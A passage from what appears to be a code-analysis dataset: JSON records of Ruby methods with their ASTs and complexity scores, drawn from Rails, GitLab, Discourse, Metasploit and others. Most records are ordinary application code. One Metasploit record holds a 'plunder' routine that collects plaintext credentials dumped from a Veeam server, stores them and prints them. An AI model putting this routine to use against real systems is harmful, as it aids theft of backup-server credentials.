":\"lvar\",\"children\":[\"email\"]}]}]}]},null]}]}","id":"694721a8-5d06-4390-8444-9c9d4e6f7f2f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/gather/credentials/veeam_credential_dump.rb","start_line":760,"raw_source":"def plunder(rowset)\n    rowset.each_with_index do |row, idx|\n      next if idx == 0 # Skip header row\n\n      next unless (loot_pass = row['Plaintext'])\n\n      loot_user = row['Username'] ||= ''\n      loot_desc = row['Description'] ||= 'Veeam Credential'\n      extra_service_data = {\n        address: Rex::Socket.getaddress(rhost),\n        port: 6160,\n        service_name: 'veeam',\n        protocol: 'tcp',\n        workspace_id: myworkspace_id,\n        module_fullname: fullname,\n        origin_type: :service,\n        realm_key: Metasploit::Model::Realm::Key::WILDCARD,\n        realm_value: loot_desc\n      }\n      store_valid_credential(user: loot_user, private: loot_pass, service_data: extra_service_data)\n      print_good(\"Recovered Credential: #{loot_desc}\")\n      print_good(\"\\tL: #{loot_user}\")\n      print_good(\"\\tP: #{loot_pass}\")\n    end\n  end","complexity_score":21.7,"ast_json":"{\"type\":\"def\",\"children\":[\"plunder\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"rowset\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rowset\"]},\"each_with_index\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]},{\"type\":\"arg\",\"children\":[\"idx\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"idx\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"loot_pass\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Plaintext\"]}]}]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"loot_user\",{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Username\"]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"loot_desc\",{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Description\"]}]},{\"type\":\"str\",\"children\":[\"Veeam Credential\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"extra_service_data\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"address\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Socket\"]},\"getaddress\",{\"type\":\"send\",\"children\":[null,\"rhost\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"int\",\"children\":[6160]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"service_name\"]},{\"type\":\"str\",\"children\":[\"veeam\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"protocol\"]},{\"type\":\"str\",\"children\":[\"tcp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"workspace_id\"]},{\"type\":\"send\",\"children\":[null,\"myworkspace_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"module_fullname\"]},{\"type\":\"send\",\"children\":[null,\"fullname\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"origin_type\"]},{\"type\":\"sym\",\"children\":[\"service\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"realm_key\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasploit\"]},\"Model\"]},\"Realm\"]},\"Key\"]},\"WILDCARD\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"realm_value\"]},{\"type\":\"lvar\",\"children\":[\"loot_desc\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"store_valid_credential\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"loot_user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private\"]},{\"type\":\"lvar\",\"children\":[\"loot_pass\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"service_data\"]},{\"type\":\"lvar\",\"children\":[\"extra_service_data\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Recovered Credential: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"loot_desc\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\tL: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"loot_user\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\tP: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"loot_pass\"]}]}]}]}]}]}]}","id":"9d37846a-7b4d-4e81-a7bf-b641bd876f26"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/current_user_serializer.rb","start_line":362,"raw_source":"def include_use_reviewable_ui_refresh?\n    scope.can_see_review_queue?\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"include_use_reviewable_ui_refresh?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"scope\"]},\"can_see_review_queue?\"]}]}","id":"9537d480-f46c-4fca-a05a-2bf1ddf2ce36"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/table_helpers/table.rb","start_line":77,"raw_source":"def next_monday = monday + 7.days","complexity_score":3.75,"ast_json":"{\"type\":\"def\",\"children\":[\"next_monday\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"monday\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[7]},\"days\"]}]}]}","id":"a5eae9e6-acdc-426d-b098-606411d883b0"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/common/storages/adapters/providers/nextcloud/commands/remove_user_from_group_command.rb","start_line":37,"raw_source":"def call(auth_strategy:, input_data:)\n              with_tagged_logger do\n                Authentication[auth_strategy].call(storage: @storage, http_options: ocs_api_request_headers) do |http|\n                  url = UrlBuilder.url(@storage.uri, \"ocs/v1.php/cloud/users\", input_data.user, \"groups\")\n                  url << \"?groupid=#{CGI.escapeURIComponent(input_data.group)}\"\n\n                  info \"Removing #{input_data.user} from #{input_data.group} through #{url}\"\n                  handle_response(http.delete(url))\n                end\n              end\n            end","complexity_score":24.0,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"auth_strategy\"]},{\"type\":\"kwarg\",\"children\":[\"input_data\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_tagged_logger\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Authentication\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"auth_strategy\"]}]},\"call\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"storage\"]},{\"type\":\"ivar\",\"children\":[\"@storage\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"http_options\"]},{\"type\":\"send\",\"children\":[null,\"ocs_api_request_headers\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"http\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"url\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UrlBuilder\"]},\"url\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@storage\"]},\"uri\"]},{\"type\":\"str\",\"children\":[\"ocs/v1.php/cloud/users\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"input_data\"]},\"user\"]},{\"type\":\"str\",\"children\":[\"groups\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"?groupid=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CGI\"]},\"escapeURIComponent\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"input_data\"]},\"group\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Removing \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"input_data\"]},\"user\"]}]},{\"type\":\"str\",\"children\":[\" from \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"input_data\"]},\"group\"]}]},{\"type\":\"str\",\"children\":[\" through \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"handle_response\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"http\"]},\"delete\",{\"type\":\"lvar\",\"children\":[\"url\"]}]}]}]}]}]}]}","id":"537d0817-6e75-422e-aaf8-ec2c7d0f23d2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/background_migration/backfill_project_repositories.rb","start_line":42,"raw_source":"def reload!\n          @shards = Hash[*Shard.all.flat_map { |shard| [shard.name, shard.id] }]\n        end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"reload!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@shards\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},\"[]\",{\"type\":\"splat\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Shard\"]},\"all\"]},\"flat_map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"shard\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"shard\"]},\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"shard\"]},\"id\"]}]}]}]}]}]}]}","id":"c130a07b-58a1-4768-b078-f11359575259"}
{"repo_name":"forem","file_path":"./repos/forem/app/helpers/authentication_helper.rb","start_line":45,"raw_source":"def invite_only_mode_or_no_enabled_auth_options\n    ForemInstance.invitation_only? ||\n      (authentication_enabled_providers.none? &&\n       !Settings::Authentication.allow_email_password_registration)\n  end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"invite_only_mode_or_no_enabled_auth_options\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ForemInstance\"]},\"invitation_only?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"authentication_enabled_providers\"]},\"none?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Settings\"]},\"Authentication\"]},\"allow_email_password_registration\"]},\"!\"]}]}]}]}]}","id":"e4940aac-a7aa-4d23-b939-37248e6849d9"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/lib/action_view/rendering.rb","start_line":95,"raw_source":"def view_context_class\n      self.class.view_context_class\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"view_context_class\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"view_context_class\"]}]}","id":"591ff557-c89d-4ec1-bbd4-7022ac5131a4"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/db_connector.rb","start_line":290,"raw_source":"def self.load_db_config(db_name, path = nil)\n    conf = Msf::Config.load(path)\n    conf_options = conf[\"#{DbConfigGroup}/#{db_name}\"]\n    return unless conf_options\n\n    conf_options.transform_keys(&:to_sym)\n  end","complexity_score":8.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"load_db_config\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"db_name\"]},{\"type\":\"optarg\",\"children\":[\"path\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"conf\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Config\"]},\"load\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"conf_options\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conf\"]},\"[]\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DbConfigGroup\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"db_name\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conf_options\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conf_options\"]},\"transform_keys\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_sym\"]}]}]}]}]}","id":"2250a52c-3907-4892-a420-2354b2a3b59e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/commits_helper.rb","start_line":165,"raw_source":"def cherry_pick_projects_data(project)\n    [project, project.forked_from_project].compact.map do |project|\n      {\n        id: project.id.to_s,\n        name: project.full_path,\n        refsUrl: refs_project_path(project)\n      }\n    end\n  end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"cherry_pick_projects_data\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"forked_from_project\"]}]},\"compact\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"id\"]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"full_path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"refsUrl\"]},{\"type\":\"send\",\"children\":[null,\"refs_project_path\",{\"type\":\"lvar\",\"children\":[\"project\"]}]}]}]}]}]}","id":"fcf9a5a2-68f3-41c4-85c7-e80708b20344"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/reports/codequality_reports.rb","start_line":17,"raw_source":"def add_degradation(degradation)\n          valid_degradation?(degradation) && @degradations[degradation['fingerprint']] = degradation\n        end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"add_degradation\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"degradation\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"valid_degradation?\",{\"type\":\"lvar\",\"children\":[\"degradation\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@degradations\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"degradation\"]},\"[]\",{\"type\":\"str\",\"children\":[\"fingerprint\"]}]},{\"type\":\"lvar\",\"children\":[\"degradation\"]}]}]}]}","id":"233df804-4ea6-450a-9100-d5ccbcded3ce"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/lint/duplicate_rescue_exception.rb","start_line":33,"raw_source":"def on_rescue(node)\n          return if rescue_modifier?(node)\n\n          node.resbody_branches.each_with_object(Set.new) do |resbody, previous|\n            rescued_exceptions = resbody.exceptions\n\n            rescued_exceptions.each do |exception|\n              add_offense(exception) unless previous.add?(exception)\n            end\n          end\n        end","complexity_score":15.2,"ast_json":"{\"type\":\"def\",\"children\":[\"on_rescue\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rescue_modifier?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"resbody_branches\"]},\"each_with_object\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Set\"]},\"new\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"resbody\"]},{\"type\":\"arg\",\"children\":[\"previous\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"rescued_exceptions\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resbody\"]},\"exceptions\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rescued_exceptions\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"exception\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"previous\"]},\"add?\",{\"type\":\"lvar\",\"children\":[\"exception\"]}]},null,{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"lvar\",\"children\":[\"exception\"]}]}]}]}]}]}]}]}","id":"aee1d54e-b6bc-4443-b7eb-7b1cbd92d5fd"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_alert.rb","start_line":653,"raw_source":"def evaluate_method_realtime_performance(target, options)\n    eval_options = {\n      :interval_name   => \"realtime\",\n      :duration        => options[:rt_time_threshold],\n      :column          => options[:perf_column],\n      :value           => options[:value_threshold],\n      :operator        => options[:operator],\n      :debug_trace     => options[:debug_trace],\n      :trend_direction => options[:trend_direction],\n      :slope_steepness => options[:trend_steepness]\n    }\n    evaluate_performance(target, eval_options)\n  end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"evaluate_method_realtime_performance\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"target\"]},{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"eval_options\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"interval_name\"]},{\"type\":\"str\",\"children\":[\"realtime\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"duration\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"rt_time_threshold\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"perf_column\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"value_threshold\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"operator\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"operator\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"debug_trace\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"debug_trace\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"trend_direction\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"trend_direction\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"slope_steepness\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"trend_steepness\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"evaluate_performance\",{\"type\":\"lvar\",\"children\":[\"target\"]},{\"type\":\"lvar\",\"children\":[\"eval_options\"]}]}]}]}","id":"e00edb30-0c5f-4f40-83ba-7edcb1a4bd75"}
{"repo_name":"rails","file_path":"./repos/rails/actioncable/lib/action_cable/channel/base.rb","start_line":317,"raw_source":"def parameter_filter\n          @parameter_filter ||= ActiveSupport::ParameterFilter.new(connection.config.filter_parameters)\n        end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"parameter_filter\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@parameter_filter\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"ParameterFilter\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"config\"]},\"filter_parameters\"]}]}]}]}","id":"02674c8d-3db4-4626-9961-ee7791082a4f"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/services/problem_check/out_of_date_themes.rb","start_line":22,"raw_source":"def themes_list\n    <<~HTML.squish\n      <ul>#{\n      out_of_date_themes\n        .map do |name, id|\n          \"<li><a href=\\\"#{Discourse.base_path}/admin/customize/themes/#{id}\\\">#{CGI.escapeHTML(name)}</a></li>\"\n        end\n        .join(\"\\n\")\n    }</ul>\n    HTML\n  end","complexity_score":9.6,"ast_json":"{\"type\":\"def\",\"children\":[\"themes_list\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<ul>\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"out_of_date_themes\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"id\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<li><a href=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"base_path\"]}]},{\"type\":\"str\",\"children\":[\"/admin/customize/themes/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id\"]}]},{\"type\":\"str\",\"children\":[\"\\\">\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CGI\"]},\"escapeHTML\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]},{\"type\":\"str\",\"children\":[\"</a></li>\"]}]}]},\"join\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"str\",\"children\":[\"</ul>\\n\"]}]},\"squish\"]}]}","id":"f1daa496-aa02-46a4-ab7c-5e73bf653ed9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/feature_categories.rb","start_line":42,"raw_source":"def valid?(category)\n      categories.include?(category.to_s)\n    end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"valid?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"category\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"categories\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category\"]},\"to_s\"]}]}]}","id":"1a5de749-ff8e-429a-abb9-4d2af5021fc7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/import/delete_placeholder_user_worker.rb","start_line":43,"raw_source":"def placeholder_user_referenced?(placeholder_user_id)\n      PlaceholderReferences::AliasResolver.models_with_data.any? do |model, data|\n        columns = data[:columns].values - data[:columns_ignored_on_deletion].to_a\n        (columns & ::Gitlab::ImportExport::Base::RelationFactory::USER_REFERENCES).any? do |user_reference_column|\n          model.where(user_reference_column => placeholder_user_id).any? # rubocop:disable CodeReuse/ActiveRecord -- Adding a scope for all possible models would not be feasible here\n        end\n      end\n    end","complexity_score":18.2,"ast_json":"{\"type\":\"def\",\"children\":[\"placeholder_user_referenced?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"placeholder_user_id\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PlaceholderReferences\"]},\"AliasResolver\"]},\"models_with_data\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"model\"]},{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"columns\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"columns\"]}]},\"values\"]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"columns_ignored_on_deletion\"]}]},\"to_a\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"columns\"]},\"&\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"ImportExport\"]},\"Base\"]},\"RelationFactory\"]},\"USER_REFERENCES\"]}]}]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user_reference_column\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_reference_column\"]},{\"type\":\"lvar\",\"children\":[\"placeholder_user_id\"]}]}]}]},\"any?\"]}]}]}]}]}","id":"16ed687d-6057-40ae-9d1f-f5b751e3f562"}
